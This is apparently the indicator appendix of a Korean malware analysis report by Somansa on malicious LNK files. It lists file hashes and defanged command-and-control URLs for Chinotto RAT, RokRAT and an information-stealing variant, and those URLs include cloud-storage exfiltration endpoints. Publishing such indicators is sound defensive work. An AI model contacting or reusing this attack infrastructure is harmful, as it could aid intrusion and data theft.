| 2023-08-22 | 6c06ba3b8c41268817e8d1308180b1a08e022a7c6842daa73d018364121c2e34 |
| 2023-08-22 | 10de9186d3a41cbd707860dd63c77a55d11b9558d6cc13f1f77cd7fdd7fbdaa9 |
| 2023-08-20 | 6ff66d0cf4933163d1cf77de3db1293fde6a3db25a2b412e7737c343a8228e62 |
| 2023-08-19 | ba5dbb7b8ca8fd4f93f05a56aa86dfa8a7634c517288fc9abf87d271a0f8a55d |
| 2023-08-18 | a48e50e3d75acea5364ad564fb4fef0d56829414cc5c279329b7cda03f1bfc64 |

| | |
|---|---|
| 2023-08-17 | 1abdc0f51b3e5015c7057f52252dd2b53f241847d31807d2da294d6657547549 |
| 2023-08-17 | 76756dd2c3300ea42ae23ff3cf545dac7eb39005c99ac2627e23c1521f09a989 |
| 2023-08-16 | 85f03793add080653903f581068a9c0ecffd431a308926164a1d553c50ff7c74 |
| 2023-08-15 | 66a9483eb43ea50aa77f53e5d5080709ac099dfa7774363519abec874a2d70e3 |
| 2023-08-12 | a39831ecbe0792adf87f63fb99557356ba688e5f6da8c2b058d2a3d0f0d7d1e4 |

[표 10] Chinotto RAT LNK 파일 정보

| URL |
|---|
| hxxp://bian0151.cafe24.com/admin/board/1.html |
| hxxp://75.119.136.207/config/bases/config.php |

[표 11] Chinotto RAT C&C 서버 정보





### 5.3.2 유형 #2: RokRAT 실행 악성 LNK

| 발견 날짜 (UTC+9) | 파일 해시 (SHA-256) |
|---|---|
| 2023-08-29 | b95cfde957c390a37371c6b36c2a2b0d986e2d9576e4fcb764e6e3452d307e23 |
| 2023-08-16 | 1b78477a71df02b68f24e8c8c77f3858624b0bc9e4442ce193bde1c298160fc4 |
| 2023-07-04 | 6d3cfa5898cb94f5eab676b1429063d14c3e563e0f2ae6e1ca05e7c4b5d9eb4b |
| 2023-06-09 | 6a9019404330dc40ab945ec2006b9ff7e8e1b6773faae44a2c6dafdb810cc55b |
| 2023-06-05 | e6c579edf5ee66dcf16fabc93c41394d226932fc859f74e2525db4fd126d0a82 |
| 2023-05-24 | 4056772ab9ec106046cc2dfbeed71df92d629e5b612f12775f942c0d3255552d |
| 2023-05-09 | 2d381a0156d8b0468d10dfd347b32cf10f97026e248ccd95edbcd28030ade4d4 |
| 2023-01-31 | 6753933cd54e4eba497c48d63c7418a8946b4b6c44170105d489d29f1fe11494 |

[표 12] RokRAT LNK 파일 정보

| URL |
| --- |
| hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3QvcyFBa0FnekZKdWMwb09ldUVGVzJidUdrNkM2Z0E_ZT05QVFBWUc/root/content |
| hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2IvcyFBa0FnekZKdWMwb09hdDdWMWRNWkIzanFPTXM_ZT1KUU1JcnI/root/content |
| hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBdHp5SUlSR3JuQnhhblU5UW1DZWplU1RNZ1U_ZT14SDY0dks/root/content |
| hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBbURRNTNEY0xNVUVmRjBjTG5uckhOMGVJcmc_ZT14U083alE/root/content |
| hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBZ0s4V1ZDeXlfX0plNGo4QIRMWWg0bmhZazA_ZT1vMHI1QmQ/root/content |
| hxxp://vmi810830.contaboserver.net/local/cache-js/f93754e660802d7cc70924cceb4738ef.gz |
| hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBaFhFWExKU05NUFRmTWdoZExudm9zdUExcHc_ZT1scUoweWU/root/content |
| hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBalFOTHZFRV9DVU9iUFdnLXhPZG8xRXFYckU_ZT1BM1QwV2Q/root/content |
| hxxps://api.pcloud.com/oauth2_token |
| hxxps://api.pcloud.com/listfolder |
| hxxps://api.pcloud.com/uploadfile |
| hxxps://api.pcloud.com/getfilelink |
| hxxps://api.pcloud.com/deletefile |
| hxxps://my.pcloud.com/oauth2/authorize |
| hxxps://cloud-api.yandex.net/v1/disk/resources |

[표 13] RokRAT C&C 서버 정보





### 5.3.3 유형 #3: 사용자 정보 탈취 악성 LNK

| 발견 날짜 (UTC+9) | 파일 해시 (SHA-256) |
| --- | --- |
| 2023-07-17 | 1990263f41702ce40a3de5081f9b35f7bf85136e8b90b5f171ad6c1f3966ffa7 |
| 2023-07-13 | 9d6dcf8370dae9902df5493a127446b3fe4cdf73e688726f8a7d4ef394812e90 |
| 2023-07-04 | 953933f571601617c7ff371f1f568fb40e236c076836d51c5fcb857c32e39d38 |
| 2023-06-29 | 9f47c41cccd9bd926402a9a7b778813031791ced1aefb62904fe9ed51a6dc6fd |
| 2023-05-25 | ff66730462c98776fb8611ff3a1e909200abe657d864b9a744489e66155fef0d |

[표 14] 정보탈취형 LNK 파일 정보

| URL |
| --- |
| hxxps://naver.bigfile020.com/v2/read/get.php |
| hxxp://headsity.com/upload.php |
| hxxp://headsity.com/list.php |
| hxxps://cachecast001.com/v2/read/get.php |
| hxxp://elinline.com/upload.php |
| hxxp://elinline.com/list.php |
| hxxps://daum.drives010.com/v1/rs/get.php |
| hxxp://hostzq.com/upload.php |
| hxxp://hostzq.com/list.php |
| hxxps://naver.cloudfiles001.com/v2/read/get.php |
| hxxp://overseeby.com/upload.php |
| hxxp://overseeby.com/list.php |
| hxxps://naver.down001.com/v2/read/get.php |
| hxxp://drvcast.com/upload.php |
| hxxp://drvcast.com/list.php |

[표 15] 정보탈취형 C&C 서버 정보





본 자료의 전체 혹은 일부를 소만사의 허락을 받지 않고, 무단게재, 복사, 배포는 엄격히 금합니다.
만일 이를 어길 시에는 민형사상의 손해배상에 처해질 수 있습니다.
본 자료는 악성코드 분석을 위한 참조 자료로 활용 되어야 하며,
악성코드 제작 등의 용도로 악용되어서는 안됩니다.
㈜ 소만사는 이러한 오남용에 대한 책임을 지지 않습니다.
Copyright(c) 2023 ㈜ 소만사 All rights reserved.

궁금하신 점이나 문의사항은 malware@somansa.com 으로 문의주십시오